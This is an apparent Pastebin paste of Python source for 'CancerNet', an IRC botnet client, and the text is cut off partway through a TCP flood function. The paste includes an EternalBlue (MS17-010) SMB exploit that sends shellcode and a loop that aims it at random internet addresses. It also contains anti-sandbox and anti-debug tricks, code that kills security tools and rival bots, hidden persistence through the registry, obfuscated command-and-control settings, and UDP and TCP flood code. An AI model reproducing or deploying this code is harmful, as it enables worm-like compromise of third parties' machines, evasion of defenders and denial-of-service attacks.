KekSec

CancerNet with EternalBlue Scanner

Oct 31st, 2017
1,285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 35.34 KB | None | 0 0
  1. #!/usr/bin/python
  2. #-------------------------------------------------------------------------------
  3. # Name:     CancerNet IRC bot V8
  4. # Purpose:   IRC Bot for botnet
  5. # Notes:       (polymorphic) nearly impossible to remove (or detect) without system
  6. #              analysis and creation of a tool
  7. #
  8. # Author:     Freak/SynthMesc @ PopulusControl (SynthMesc)
  9. #
  10. # Created:   15/01/2015
  11. # Copyright:   (c) Freak 2015
  12. # Licence:   GPLv3
  13. #   This program is free software: you can redistribute it and/or modify
  14. #   it under the terms of the GNU General Public License as published by
  15. #   the Free Software Foundation, either version 3 of the License, or
  16. #   (at your option) any later version.
  17. #
  18. #   This program is distributed in the hope that it will be useful,
  19. #   but WITHOUT ANY WARRANTY; without even the implied warranty of
  20. #   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  21. #   GNU General Public License for more details.
  22. #
  23. #   You should have received a copy of the GNU General Public License
  24. #   along with this program.  If not, see <http://www.gnu.org/licenses/>.
  25. #-------------------------------------------------------------------------------
  26. import time
  27. time.sleep([RANDOMNUMBERHERE]) #delay further execution to prevent sandboxing by AVs
  28. from random import choice,randrange
  29. from base64 import b64decode
  30. from string import letters,split,rstrip
  31. import socket,subprocess,os,sys,urllib,time,threading,itertools
  32. from ctypes import *
  33. import socket
  34. import struct
  35. import logging
  36. import random
  37. import threading
  38.  
  39. logging.basicConfig(level=logging.INFO, format="%(message)s")
  40. log = logging.getLogger(__file__)
  41.  
  42. # negotiate_proto_request
  43. # session_setup_andx_request
  44. # tree_connect_andx_request
  45. # peeknamedpipe_request
  46. # trans2 request
  47.  
  48.  
  49. class SMB_HEADER(Structure):
  50.   """SMB Header decoder.
  51.  """
  52.  
  53.   _pack_ = 1  # Alignment
  54.  
  55.   _fields_ = [
  56.     ("server_component", c_uint32),
  57.     ("smb_command", c_uint8),
  58.     ("error_class", c_uint8),
  59.     ("reserved1", c_uint8),
  60.     ("error_code", c_uint16),
  61.     ("flags", c_uint8),
  62.     ("flags2", c_uint16),
  63.     ("process_id_high", c_uint16),
  64.     ("signature", c_uint64),
  65.     ("reserved2", c_uint16),
  66.     ("tree_id", c_uint16),
  67.     ("process_id", c_uint16),
  68.     ("user_id", c_uint16),
  69.     ("multiplex_id", c_uint16)
  70.   ]
  71.  
  72.   def __new__(self, buffer=None):
  73.     return self.from_buffer_copy(buffer)
  74.  
  75.   def __init__(self, buffer):
  76.     log.debug("server_component : %04x" % self.server_component)
  77.     log.debug("smb_command      : %01x" % self.smb_command)
  78.     log.debug("error_class      : %01x" % self.error_class)
  79.     log.debug("error_code       : %02x" % self.error_code)
  80.     log.debug("flags            : %01x" % self.flags)
  81.     log.debug("flags2           : %02x" % self.flags2)
  82.     log.debug("process_id_high  : %02x" % self.process_id_high)
  83.     log.debug("signature        : %08x" % self.signature)
  84.     log.debug("reserved2        : %02x" % self.reserved2)
  85.     log.debug("tree_id          : %02x" % self.tree_id)
  86.     log.debug("process_id       : %02x" % self.process_id)
  87.     log.debug("user_id          : %02x" % self.user_id)
  88.     log.debug("multiplex_id     : %02x" % self.multiplex_id)
  89.  
  90.  
  91. def generate_smb_proto_payload(*protos):
  92.     """Generate SMB Protocol. Pakcet protos in order.
  93.    """
  94.     hexdata = []
  95.     for proto in protos:
  96.       hexdata.extend(proto)
  97.     return "".join(hexdata)
  98.  
  99.  
  100. def calculate_doublepulsar_xor_key(s):
  101.     """Calaculate Doublepulsar Xor Key
  102.    """
  103.     x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
  104.     x = x & 0xffffffff  # this line was added just to truncate to 32 bits
  105.     return x
  106.  
  107.  
  108. def negotiate_proto_request():
  109.     """Generate a negotiate_proto_request packet.
  110.    """
  111.     log.debug("generate negotiate request")
  112.     netbios = [
  113.       '\x00',              # 'Message_Type'
  114.       '\x00\x00\x54'       # 'Length'
  115.     ]
  116.  
  117.     smb_header = [
  118.       '\xFF\x53\x4D\x42',  # 'server_component': .SMB
  119.       '\x72',              # 'smb_command': Negotiate Protocol
  120.       '\x00\x00\x00\x00',  # 'nt_status'
  121.       '\x18',              # 'flags'
  122.       '\x01\x28',          # 'flags2'
  123.       '\x00\x00',          # 'process_id_high'
  124.       '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
  125.       '\x00\x00',          # 'reserved'
  126.       '\x00\x00',          # 'tree_id'
  127.       '\x2F\x4B',          # 'process_id'
  128.       '\x00\x00',          # 'user_id'
  129.       '\xC5\x5E'           # 'multiplex_id'
  130.     ]
  131.  
  132.     negotiate_proto_request = [
  133.       '\x00',              # 'word_count'
  134.       '\x31\x00',          # 'byte_count'
  135.  
  136.       # Requested Dialects
  137.       '\x02',              # 'dialet_buffer_format'
  138.       '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00',   # 'dialet_name': LANMAN1.0
  139.  
  140.       '\x02',              # 'dialet_buffer_format'
  141.       '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00',   # 'dialet_name': LM1.2X002
  142.  
  143.       '\x02',              # 'dialet_buffer_format'
  144.       '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00',  # 'dialet_name3': NT LANMAN 1.0
  145.  
  146.       '\x02',              # 'dialet_buffer_format'
  147.       '\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00'   # 'dialet_name4': NT LM 0.12
  148.     ]
  149.  
  150.     return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
  151.  
  152.  
  153. def session_setup_andx_request():
  154.     """Generate session setuo andx request.
  155.    """
  156.     log.debug("generate session setup andx request")
  157.     netbios = [
  158.       '\x00',              # 'Message_Type'
  159.       '\x00\x00\x63'       # 'Length'
  160.     ]
  161.  
  162.     smb_header = [
  163.       '\xFF\x53\x4D\x42',  # 'server_component': .SMB
  164.       '\x73',              # 'smb_command': Session Setup AndX
  165.       '\x00\x00\x00\x00',  # 'nt_status'
  166.       '\x18',              # 'flags'
  167.       '\x01\x20',          # 'flags2'
  168.       '\x00\x00',          # 'process_id_high'
  169.       '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
  170.       '\x00\x00',          # 'reserved'
  171.       '\x00\x00',          # 'tree_id'
  172.       '\x2F\x4B',          # 'process_id'
  173.       '\x00\x00',          # 'user_id'
  174.       '\xC5\x5E'           # 'multiplex_id'
  175.     ]
  176.  
  177.     session_setup_andx_request = [
  178.       '\x0D',              # Word Count
  179.       '\xFF',              # AndXCommand: No further command
  180.       '\x00',              # Reserved
  181.       '\x00\x00',          # AndXOffset
  182.       '\xDF\xFF',          # Max Buffer
  183.       '\x02\x00',          # Max Mpx Count
  184.       '\x01\x00',          # VC Number
  185.       '\x00\x00\x00\x00',  # Session Key
  186.       '\x00\x00',          # ANSI Password Length
  187.       '\x00\x00',          # Unicode Password Length
  188.       '\x00\x00\x00\x00',  # Reserved
  189.       '\x40\x00\x00\x00',  # Capabilities
  190.       '\x26\x00',          # Byte Count
  191.       '\x00',              # Account
  192.       '\x2e\x00',          # Primary Domain
  193.       '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00',    # Native OS: Windows 2000 2195
  194.       '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00',        # Native OS: Windows 2000 5.0
  195.     ]
  196.  
  197.     return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
  198.  
  199.  
  200. def tree_connect_andx_request(ip, userid):
  201.     """Generate tree connect andx request.
  202.    """
  203.     log.debug("generate tree connect andx request")
  204.  
  205.     netbios = [
  206.       '\x00',              # 'Message_Type'
  207.       '\x00\x00\x47'       # 'Length'
  208.     ]
  209.  
  210.     smb_header = [
  211.       '\xFF\x53\x4D\x42',  # 'server_component': .SMB
  212.       '\x75',              # 'smb_command': Tree Connect AndX
  213.       '\x00\x00\x00\x00',  # 'nt_status'
  214.       '\x18',              # 'flags'
  215.       '\x01\x20',          # 'flags2'
  216.       '\x00\x00',          # 'process_id_high'
  217.       '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
  218.       '\x00\x00',          # 'reserved'
  219.       '\x00\x00',          # 'tree_id'
  220.       '\x2F\x4B',          # 'process_id'
  221.       userid,              # 'user_id'
  222.       '\xC5\x5E'           # 'multiplex_id'
  223.     ]
  224.  
  225.     ipc = "\\\\{}\IPC$\x00".format(ip)
  226.     log.debug("Connecting to {} with UID = {}".format(ipc, userid))
  227.  
  228.     tree_connect_andx_request = [
  229.       '\x04',              # Word Count
  230.       '\xFF',              # AndXCommand: No further commands
  231.       '\x00',              # Reserved
  232.       '\x00\x00',          # AndXOffset
  233.       '\x00\x00',          # Flags
  234.       '\x01\x00',          # Password Length
  235.       '\x1A\x00',          # Byte Count
  236.       '\x00',              # Password
  237.       ipc.encode(),        # \\xxx.xxx.xxx.xxx\IPC$
  238.       '\x3f\x3f\x3f\x3f\x3f\x00'   # Service
  239.     ]
  240.  
  241.     length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
  242.     # netbios[1] = '\x00' + struct.pack('>H', length)
  243.     netbios[1] = struct.pack(">L", length)[-3:]
  244.  
  245.     return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
  246.  
  247.  
  248. def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
  249.     """Generate tran2 request
  250.    """
  251.     log.debug("generate peeknamedpipe request")
  252.     netbios = [
  253.       '\x00',              # 'Message_Type'
  254.       '\x00\x00\x4a'       # 'Length'
  255.     ]
  256.  
  257.     smb_header = [
  258.       '\xFF\x53\x4D\x42',  # 'server_component': .SMB
  259.       '\x25',              # 'smb_command': Trans2
  260.       '\x00\x00\x00\x00',  # 'nt_status'
  261.       '\x18',              # 'flags'
  262.       '\x01\x28',          # 'flags2'
  263.       '\x00\x00',          # 'process_id_high'
  264.       '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
  265.       '\x00\x00',          # 'reserved'
  266.       treeid,
  267.       processid,
  268.       userid,
  269.       multiplex_id
  270.     ]
  271.  
  272.     tran_request = [
  273.       '\x10',              # Word Count
  274.       '\x00\x00',          # Total Parameter Count
  275.       '\x00\x00',          # Total Data Count
  276.       '\xff\xff',          # Max Parameter Count
  277.       '\xff\xff',          # Max Data Count
  278.       '\x00',              # Max Setup Count
  279.       '\x00',              # Reserved
  280.       '\x00\x00',          # Flags
  281.       '\x00\x00\x00\x00',  # Timeout: Return immediately
  282.       '\x00\x00',          # Reversed
  283.       '\x00\x00',          # Parameter Count
  284.       '\x4a\x00',          # Parameter Offset
  285.       '\x00\x00',          # Data Count
  286.       '\x4a\x00',          # Data Offset
  287.       '\x02',              # Setup Count
  288.       '\x00',              # Reversed
  289.       '\x23\x00',          # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023)
  290.       '\x00\x00',          # SMB Pipe Protocol: FID
  291.       '\x07\x00',
  292.       '\x5c\x50\x49\x50\x45\x5c\x00'  # \PIPE\
  293.     ]
  294.  
  295.     return generate_smb_proto_payload(netbios, smb_header, tran_request)
  296.  
  297.  
  298. def trans2_request(treeid, processid, userid, multiplex_id):
  299.     """Generate trans2 request.
  300.    """
  301.     log.debug("generate tran2 request")
  302.     netbios = [
  303.       '\x00',              # 'Message_Type'
  304.       '\x00\x00\x4f'       # 'Length'
  305.     ]
  306.  
  307.     smb_header = [
  308.       '\xFF\x53\x4D\x42',  # 'server_component': .SMB
  309.       '\x32',              # 'smb_command': Trans2
  310.       '\x00\x00\x00\x00',  # 'nt_status'
  311.       '\x18',              # 'flags'
  312.       '\x07\xc0',          # 'flags2'
  313.       '\x00\x00',          # 'process_id_high'
  314.       '\x00\x00\x00\x00\x00\x00\x00\x00',  # 'signature'
  315.       '\x00\x00',          # 'reserved'
  316.       treeid,
  317.       processid,
  318.       userid,
  319.       multiplex_id
  320.     ]
  321.  
  322.     trans2_request = [
  323.       '\x0f',              # Word Count
  324.       '\x0c\x00',          # Total Parameter Count
  325.       '\x00\x00',          # Total Data Count
  326.       '\x01\x00',          # Max Parameter Count
  327.       '\x00\x00',          # Max Data Count
  328.       '\x00',              # Max Setup Count
  329.       '\x00',              # Reserved
  330.       '\x00\x00',          # Flags
  331.       '\xa6\xd9\xa4\x00',  # Timeout: 3 hours, 3.622 seconds
  332.       '\x00\x00',          # Reversed
  333.       '\x0c\x00',          # Parameter Count
  334.       '\x42\x00',          # Parameter Offset
  335.       '\x00\x00',          # Data Count
  336.       '\x4e\x00',          # Data Offset
  337.       '\x01',              # Setup Count
  338.       '\x00',              # Reserved
  339.       '\x0e\x00',          # subcommand: SESSION_SETUP
  340.       '\x00\x00',          # Byte Count
  341.       '\x0c\x00' + '\x00' * 12
  342.     ]
  343.  
  344.     return generate_smb_proto_payload(netbios, smb_header, trans2_request)
  345.  
  346. def exploit(ip, shellcode, port=445):
  347.     """Check if MS17_010 SMB Vulnerability exists.
  348.    """
  349.     try:
  350.         buffersize = 1024
  351.         timeout = 0.37
  352.  
  353.         # Send smb request based on socket.
  354.         client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  355.         client.settimeout(timeout)
  356.         client.connect((ip, port))
  357.  
  358.         # SMB - Negotiate Protocol Request
  359.         raw_proto = negotiate_proto_request()
  360.         client.send(raw_proto)
  361.         tcp_response = client.recv(buffersize)
  362.  
  363.         # SMB - Session Setup AndX Request
  364.         raw_proto = session_setup_andx_request()
  365.         client.send(raw_proto)
  366.         tcp_response = client.recv(buffersize)
  367.  
  368.         netbios = tcp_response[:4]
  369.         smb_header = tcp_response[4:36]   # SMB Header: 32 bytes
  370.         smb = SMB_HEADER(smb_header)
  371.  
  372.         user_id = struct.pack('<H', smb.user_id)
  373.  
  374.         # parse native_os from Session Setup Andx Response
  375.         session_setup_andx_response = tcp_response[36:]
  376.         native_os = session_setup_andx_response[9:].split('\x00')[0]
  377.  
  378.         # SMB - Tree Connect AndX Request
  379.         raw_proto = tree_connect_andx_request(ip, user_id)
  380.         client.send(raw_proto)
  381.         tcp_response = client.recv(buffersize)
  382.  
  383.         netbios = tcp_response[:4]
  384.         smb_header = tcp_response[4:36]   # SMB Header: 32 bytes
  385.         smb = SMB_HEADER(smb_header)
  386.  
  387.         tree_id = struct.pack('<H', smb.tree_id)
  388.         process_id = struct.pack('<H', smb.process_id)
  389.         user_id = struct.pack('<H', smb.user_id)
  390.         multiplex_id = struct.pack('<H', smb.multiplex_id)
  391.  
  392.         # SMB - PeekNamedPipe Request
  393.         raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
  394.         client.send(raw_proto)
  395.         tcp_response = client.recv(buffersize)
  396.  
  397.         netbios = tcp_response[:4]
  398.         smb_header = tcp_response[4:36]
  399.         smb = SMB_HEADER(smb_header)
  400.  
  401.         # nt_status = smb_header[5:9]
  402.         nt_status = struct.pack('BBH', smb.error_class, smb.reserved1, smb.error_code)
  403.  
  404.         # 0xC0000205 - STATUS_INSUFF_SERVER_RESOURCES - vulnerable
  405.         # 0xC0000008 - STATUS_INVALID_HANDLE
  406.         # 0xC0000022 - STATUS_ACCESS_DENIED
  407.  
  408.         if nt_status == '\x05\x02\x00\xc0':
  409.             log.info("[+] [{}] is likely VULNERABLE to MS17-010! ({})".format(ip, native_os))
  410.  
  411.             # vulnerable to MS17-010, check for DoublePulsar infection
  412.             raw_proto = trans2_request(tree_id, process_id, user_id, multiplex_id)
  413.             client.send(raw_proto)
  414.             tcp_response = client.recv(buffersize)
  415.  
  416.             netbios = tcp_response[:4]
  417.             smb_header = tcp_response[4:36]
  418.             smb = SMB_HEADER(smb_header)
  419.  
  420.             if smb.multiplex_id == 0x0051:
  421.               key = calculate_doublepulsar_xor_key(smb.signature)
  422.               log.info("Host is likely INFECTED with DoublePulsar! - XOR Key: {}".format(key))
  423.             log.info("[+] [{}] Sending exploit".format(ip))
  424.             fake_recv_struct = pack('<QII', 0, 3, 0)
  425.             fake_recv_struct += '\x00'*16
  426.             fake_recv_struct += pack('<QII', 0, 3, 0)
  427.             fake_recv_struct += ('\x00'*16)*7
  428.             fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0)  # offset 0xa0 (LIST_ENTRY to itself)
  429.             fake_recv_struct += '\x00'*16
  430.             fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0)  # x86 LIST_ENTRY
  431.             fake_recv_struct += ('\x00'*16)*11
  432.             fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190)  # fn_ptr array on x86
  433.             fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0)  # x86 shellcode address
  434.             fake_recv_struct += ('\x00'*16)*3
  435.             fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0)  # offset 0x1d0: KSPINLOCK, fn_ptr array
  436.             fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1)  # x64 shellcode address - 1 (this value will be increment by one)
  437.             client.send(fake_recv_struct + shellcode)
  438.         elif nt_status in ('\x08\x00\x00\xc0', '\x22\x00\x00\xc0'):
  439.             log.info("[-] [{}] does NOT appear vulnerable".format(ip))
  440.         else:
  441.             log.info("[-] [{}] Unable to detect if this host is vulnerable".format(ip))
  442.  
  443.     except Exception as err:
  444.         log.error("[-] [{}] Exception: {}".format(ip, err))
  445.     finally:
  446.         client.close()
  447. class pJRtMXnr():
  448.     def __init__(self):
  449.  # ANTI DEBUG      
  450.         os.popen("tskill /A Sandbox*") #Anti sandbox
  451.         os.popen("tskill /A Wine*") #Anti wine
  452.         os.popen("tskill /A *DBG.exe") #Anti debug 1
  453.         os.popen("tskill /A Debug*") #Anti debug 2
  454.  # BOTKILL
  455.         os.popen("taskkill /f /im msdcsc.exe") #Darkcomet botkill
  456.         os.popen("taskkill /f /im svchost.exe") #Cybergate/other botkill
  457.         os.popen("taskkill /f /im bot.exe") #Blackshades botkill
  458. #SETTINGS
  459.         self.qHXlKBTz=self.squdbhNF(randrange (5,8)) #Generate random 8 character nick to ensure all bots join
  460.         Packets=0               #Ignore this
  461.         self.lzvJGQhK=0             #Ignore this too
  462.         self.lwADeiuo=b64decode(b64decode("[SERVERHERE]".decode('hex').decode('hex')).decode('hex')) #Encoded irc server
  463.         self.djHsNKTC=6667 #Server port
  464.         self.ZoyaERuG=b64decode(b64decode("[CHANNELHERE]".decode('hex').decode('hex')).decode('hex')) #Encoded channel
  465.         self.IhfIsqFG=b64decode(b64decode("[PASSWORDHERE]".decode('hex').decode('hex')).decode('hex')) #Encoded channel key
  466.         self.cvECZTOr="[CANCER]"+str(self.qHXlKBTz) #Bot nickname
  467.         self.eLdpmooV=str(self.qHXlKBTz) #Bot Realname
  468.         self.LdkDvEjz=str(self.qHXlKBTz) #Other
  469.         self.FgBgausc=os.getenv('APPDATA')+"\\Windows Services" #Folder for executeable
  470.         self.zTzQlGDR=self.FgBgausc+"\\services.exe" #Executable
  471.         self.bXivjwVX="Windows Services" #Registry key name
  472.         self.useragents = ["Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  473.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  474.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  475.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  476.         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  477.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  478.         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  479.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  480.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  481.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  482.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  483.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  484.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  485.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  486.         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  487.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  488.         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  489.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  490.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  491.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  492.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  493.         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  494.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  495.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  496.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  497.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  498.         "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  499.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  500.         "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  501.         "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  502.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  503.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  504.         "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  505.         "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  506.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  507.         "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  508.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  509.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  510.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  511.         "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  512.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  513.         "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  514.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  515.         "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  516.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  517.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  518.         "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  519.         "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"]
  520.         self.WEDZgaKC() #Install
  521.         threading.Thread(target=self.evqaobDM, args=()). start()
  522.         self.krZuqOoS() #Start the bot
  523.     def wwoHYcGX(self):
  524.         return os.path.abspath(sys.argv[0])
  525.     def WEDZgaKC(self): #Install features
  526. #INSTALL
  527.         try:
  528.             os.popen("MD \"%s\"" % self.FgBgausc)
  529.             os.popen("COPY \"%s\" \"%s\"" % (self.wwoHYcGX(),self.zTzQlGDR))
  530.             os.popen("ATTRIB +H +S \"%s\"" % self.FgBgausc)   #Melt folder
  531.             os.popen("ATTRIB +H +S \"%s\"" % self.zTzQlGDR)   #Melt file
  532.             os.popen("ATTRIB +H +S \"%s\"" % self.wwoHYcGX())   #Melt current (hide + system + read-only)
  533.             os.popen("REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"%s\" /t REG_SZ /F /D \"%s\"" % (self.bXivjwVX,self.zTzQlGDR))    #Start-up through registry
  534.         except:
  535.             pass
  536.     def evqaobDM(self):
  537.  #ANTIS
  538.         Antis = ["taskmgr.exe", "proccesshacker.exe", "wireshark.exe", "regedit.exe"]
  539.         while 1:
  540.             for Anti in Antis:
  541.                 Result = os.popen("taskkill /f /im " + Anti).read()
  542.                 try:
  543.                     if Result != "":
  544.                         self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.BEDMD, Result))
  545.                 except:
  546.                     pass
  547.             time.sleep(1)
  548.     def Scanner(self,shellcode):
  549.         while 1:
  550.             exploit(socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))), shellcode, 13)
  551.     def NYawcQJk(self,rjsmgsgB):
  552.         TQoQoTBw = rjsmgsgB.split('.')
  553.         kQUqgxxv = [map(int, YqvrmAfa.split('-')) for YqvrmAfa in TQoQoTBw]
  554.         aZhKIvaK = [range(llemeLCF[0], llemeLCF[1] + 1) if len(llemeLCF) == 2 else llemeLCF for llemeLCF in kQUqgxxv]
  555.         for VOUZIdZn in itertools.product(*aZhKIvaK):
  556.             yield '.'.join(map(str, VOUZIdZn))
  557.     def squdbhNF(self,SQrrWUOl):
  558.         return ''.join(choice(letters) for GukfgoOr in range(SQrrWUOl))
  559.  
  560.     def uVcgrMdB(self,HTdNRlTI,wqwOsYys,packetSize,pJfokfFb):
  561. #UDP flood
  562.         if str(wqwOsYys).startswith("0"):
  563.             NqTdiWqy=os.urandom(int(packetSize))
  564.         else:
  565.             NqTdiWqy="\xff"*int(packetSize)
  566.         mbaHoFcq=time.time()+int(pJfokfFb)
  567.         while mbaHoFcq>time.time():
  568.             try:
  569.                 upKurXmE=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  570.                 if wqwOsYys==0:
  571.                     upKurXmE.sendto(NqTdiWqy,(HTdNRlTI, randrange(0,65535)))
  572.                 else:
  573.                     upKurXmE.sendto(NqTdiWqy,(HTdNRlTI, int(wqwOsYys)))
  574.                 Packets+=1
  575.             except:
  576.                 pass
  577.         self.lzvJGQhK=(Packets*65535)/1048576
  578.         self.ZyUfnKmY=self.lzvJGQhK/int(self.txMeqlni[6])
  579.         self.oWLdHNqx.send("PRIVMSG %s :%s packets sent. Sent %s MB, %s MB/s\n" % (self.ZoyaERuG,Packets,self.lzvJGQhK,self.ZyUfnKmY))
  580.  
  581.     def trbOkDUX(self,ksTdhuPd,wqwOsYys,pJfokfFb):
  582. #Tcp connection flood
  583.         mbaHoFcq=time.time()+int(pJfokfFb)
  584.         Packets = 0
  585.         while mbaHoFcq>time.time():
  586.             try:
  587.                 upKurXmE=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  588.                 upKurXmE.connect((ksTdhuPd, int(wqwOsYys)))
  589.                 Packets+=1
